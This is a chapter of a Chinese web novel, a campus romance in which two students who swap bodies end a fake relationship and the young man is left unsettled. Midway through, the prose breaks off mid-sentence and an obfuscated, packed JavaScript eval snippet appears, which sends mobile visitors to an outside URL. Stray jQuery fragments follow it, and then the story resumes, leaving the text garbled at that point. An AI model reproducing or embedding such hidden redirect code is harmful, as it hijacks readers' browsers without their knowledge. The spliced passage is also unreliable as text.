柏随远明显没想到华可吟这顿饭会送礼物，推脱几下无果后还是收下了。他是真的不会客套，只低声又说了遍谢谢，华可吟倒觉得这比那种虚伪的推拉直白得多。
菜点齐未上，两个人已经进入今天的主要话题：下一次的互换长达两天，两人必须对齐信息，以防在家人面前露出马脚。
“我在家话比较多，但你可以装生理期来了，多在自己房间呆着。”华可吟说出自己昨天好不容易想到的对策：“白天我妈问你干什么，你就说要剪视频，晚上干脆装肚子疼在房间别出来。”
柏随远怎么也没想到，华可吟昨天说的办法居然是这样，他顿了顿才开口：“我在家里话很少，你只需要别表现得太活泼就行。”
至于在外面装柏随远的经验，华可吟心想，少说话就是精髓。她点点头继续说：“我妈妈叫孟苏，以前是中学语文老师，后来身体出了点状况，换去教一周只有几节课的副科。我爸华荣在办公室，工作也不忙。”
“我父亲叫柏天青，他是公司工程师，经常出差，我也不确定那两天他在不在家。我妈妈谭斯是大学教授，她平时也挺忙的。你只需要待在房间。”
两个人对完家庭信息，等服务员上菜后又互相在华可吟随身带的平板上画了自己家的户型图，详细讲述可能用到的物品的大概位置，防止刚互穿时手忙脚乱找不着东西。
这家店的招牌是烤鸭，肥瘦适中，香气扑鼻，鸭皮在顶灯下显得晶莹剔透。华可吟从早上七点一直忙到现在，胃口很好地吃了一大碗饭，吃完忍不住在桌下摸了摸自己鼓起来的小腹。
“寒假的星辰杯大赛，你组好队了吗？”柏随远开口问道。
“没...”
星辰杯是教育部领头的一项培养大学生创新精神的赛事，规模很大，影响较广，因此大部分同学在大赛开始后都会去试试。华可吟注意到大赛通知时，班级里已经有了几支组建好的队伍，她虽然有点遗憾没组上队，但还觉得明年也有机会参加。
“你可以和我一队。”比赛还没到最终确认人员的阶段，柏随远队里仍有人员空缺，前几天一个队员把自己男朋友加进来，他也立马想到自己可以让华可吟加入，要是获奖，多少都能给她加点综测分。
“你们的队伍还没满员吗？我...”华可吟有点不好意思，其余队员可能连她的能力如何都不知道。
“那我拉你进群。”柏随远多的什么也没解释，直接拿出手机把华可吟分别拉进有十四人的小组群和几百人的学校群。华可吟简单看一眼小组群，果真没有她认识的人，竞赛大群里却有几个华可吟同学和室友。
“对了...我，我还有件事。”华可吟本想今天饭后自然提及两人该分手的事，可现在柏随远刚说完带她做项目，她觉得自己简直像个狗血渣女预备役。不过她还是得说出来，不然又不知道要拖到什么时候。
“咱们是不是该分手了？”
柏随远还以为对方是要继续询问比赛事项，听到这句话愣在椅子上。
华可吟见对方沉默也没多想，柏随远本来就是个话很少的男生，她继续说：“也快两个月了，过几天我就陆续对外称我们和平分手。我会解释清楚，不会给你造成什么不好的影响。”
见对方想得这么周全，柏随远理性分析也找不出自己不答应的理由，只能回道：“嗯。”
“还是谢谢你帮忙啦。”华可吟爽朗地笑着给柏随远添水。她就说嘛，柏随远应该还是不希望顶着有对象的名头人际交往的。昨天雨濛还反驳她，没见人家今天答应得这么爽快吗...
*
柏随远不知道自己是怎么走出餐厅的，华可吟摆摆手说还有别的事就打车走了，留下他一个人步行到旁边地铁站，准备乘地铁回校。这是换乘站，身边人来人往非常热闹，柏随远却一直无法聚焦视线，直到错过了一班地铁才回神。
最近这一个月与华可吟陆陆续续的见面，以及同学校友对他偶尔冒出的打趣，他好像已经习惯了这个“和华可吟正在恋爱”的善意谎言。
他们两个人甚至没有过任何逾越同学的对话，可不知道为什么，柏随远在听到分手的那一刻还是脑袋空白。
他的记忆力不错，甚至可以说是极佳，他真的是忘记了两人还要“按时分手”的计划吗？柏随远第一次怀疑起自己的脑袋。
纷乱的思绪一点也理不清，要是此刻柏随远找个朋友问问，对方肯定会毫不犹豫地说出“你在意她”这句话。可惜的是，柏随远没有这样的朋友，这段时间对他最了解、相处最多的外人只有华可吟一个。
还没等回到寝室，又收到学长的消息，邀请他报名另一个数据项目，柏随远看到手机上的介绍立马打起了精神，暂时甩开脑海里的恍惚。
他来学院楼和学长开会，教室里有几个打过照面的同学，其中一个平日就很开朗的女生也知道华可吟，指着他手中明显是专柜包装好的礼物袋开口就说：“小柏，这是你给华可吟买的礼物啊？”
“她给我买的。”柏随远随口说完觉得后悔，自己明明可以装没听到，或者只说不是。
“哟，校花人这么浪漫，还送小柏香水。”旁边几人本来在严肃讨论主题，听到这话后都发出调侃的笑声。
原来是香水...袋子上的西语是品牌名，柏随远可以根据音节念出来，却不知道究竟是什么东西。
他依旧提着那个礼物，周围的同学也都很礼貌的没有继续要求他拿出来展示。
他站在凳子旁明知此时自己应该再多说一句，哪怕只是一句“我们现在是朋友”，以此配合他中午点头答应了的分手。可他直到最后也没说出来，沉默看着众人的话题回归到项目。
凌晨，柏随远在宿舍床上翻滚难以入眠，舍友的呼噜声在耳旁响起，让人有些烦躁。
静悄悄的夜里，床上的男生最终还是翻身走到了桌边，打开他一整个晚上都刻意不去在意的那瓶香水。
月光从质量一般的窗帘缝里透过来，照得那透明瓶身微微发冷。柏随远按下喷头，细腻水珠的轨迹被光线照得清晰可见，一股苦而不涩的香气幽幽传来，最后还有点茶味木香。
这味道不算难闻，柏随远忍不住想起华可吟身上每次不知从何而来的香味。他知道香水是有留香时间的，可从来没看华可吟补喷过，难道是太常用以至于入味了吗？
柏随远又喷了一下仔细闻，华可吟是不是想让他腌成这个味道去见她。
不对，他们已经分手了...
柏随远觉得自己心里这股酸麻的感觉太过陌生，最后，他还是决定上网寻求一下答案。他打开浏览器搜索“一个女孩提分手后，我心里不适是为什么”。浏览器弹出的第一条答案是：“接受现实，失恋后感到难过是很正常的。”
失恋？柏随远感觉有点荒唐，直接叉掉了这个网页
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334489|167761||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，几秒后又打字：“假谈恋爱被提分手后，我心里不适怎么办？”笨蛋浏览器仿佛完全没识别到“假谈恋爱”这四个字，给出的答案和刚才一模一样。
柏随远无奈地揉揉眉间，他做不出去别人那里假借“我朋友”之名询问，有点烦闷地把手机塞回了枕头下，强迫自己闭上眼不再乱想。
*
下一次见到华可吟，已经是放假回家的前一天了，项目小组的人一起去找指导老师开会。
他们的小组群里这几天没什么人发言，只有柏随远出面问大家今天的会议是否有时间出席，众人都只回复最简单的收到，华可吟也混在其中。
团队里的同学来自好几个院系，由于柏随远是组长，项目便以他所在的计算机系名义申请，指导老师也是他们系的教授。老师看着走进来的十几人，先是说了些大家认真做之类的话，然后基本上就只和柏随远周围的几个同学讨论确定主题。
华可吟站在边缘仔细听了半天，发现自己只能听懂大概，还是在他们讨论的较为浅显的部分。没办法，华可吟的专业和计算机的交叉内容很少，就算华可吟想多了解，也需要先把一些基础概念和名词对上号。
不过这下她明白了，柏随远似乎真的只是想让自己在小组里“坐享其成”。她并不喜欢这种感觉，但很感谢柏随远的好意，她能做的就是参与配合后续工作，认真完成小组内给自己分配的内容。
果然，当天晚上柏随远就在群内发布众人要在假期期间完成的任务——前期资料搜集。
他们要进行的是物联网平台构建的项目，主题是今天和老师一起讨论确定的，和指导老师的研究方向有一定的重合。几个计算机系的同学将花时间提前熟悉这方面所需要的编程软件和建模方法，包含华可吟在内的其余同学则是先搜集资料，由几个关键词延伸整理，这也是后续完成项目的基础。
每个人要做的工作都以名单的形式列了出来。柏随远并没有专门忽略华可吟的名字，他就算再不懂人情世故，也知道小组内不可能留下一个纯挂名的人，更何况他认识的华可吟，本来就是个认真要强的女孩。不过柏随远想想，还是动用了队长的小小权力，给华可吟安排了研究已经非常成熟的方向的资料搜集任务。
现在的华可吟可是感觉不到“队长”对她的照顾，因为任务中的每行字凑在一起，都处于她的知识盲区。
她起初想去私聊询问柏随远最基础的资料应该从哪看起，可打开聊天框，华可吟突然意识到自从高数考试完、自从上一顿讨论再次互换注意事项的饭局后，这几天柏随远没有联系过她一次。
前一个月，由于每周的补习，两个人或多或少都会发些“几点在哪见”一类的消息，内容很公事公办，可是聊天频率就能看出关系还算熟络。
可是今天在办公室，柏随远一眼都没有看过她。她一直紧盯会议中心，老师旁边柏随远的头甚至一次都没有往自己这边转过来。对方给她的距离感比以前更甚，仿佛她完全是个陌生同学。
锤锤脑袋，华可吟在心里吸了口气，自己究竟在想什么。柏随远明明之前就说过，这是他的补偿，把自己拉进小组，人家有什么责任要时刻关注自己呢？
本来就是除互换这种奇幻的事外毫无联系的陌生人，柏随远对谁都是这股不怎么理睬的样子，自己又不是什么特别的人。华可吟安慰自己，她握紧拳头想，肯定不能在项目里混！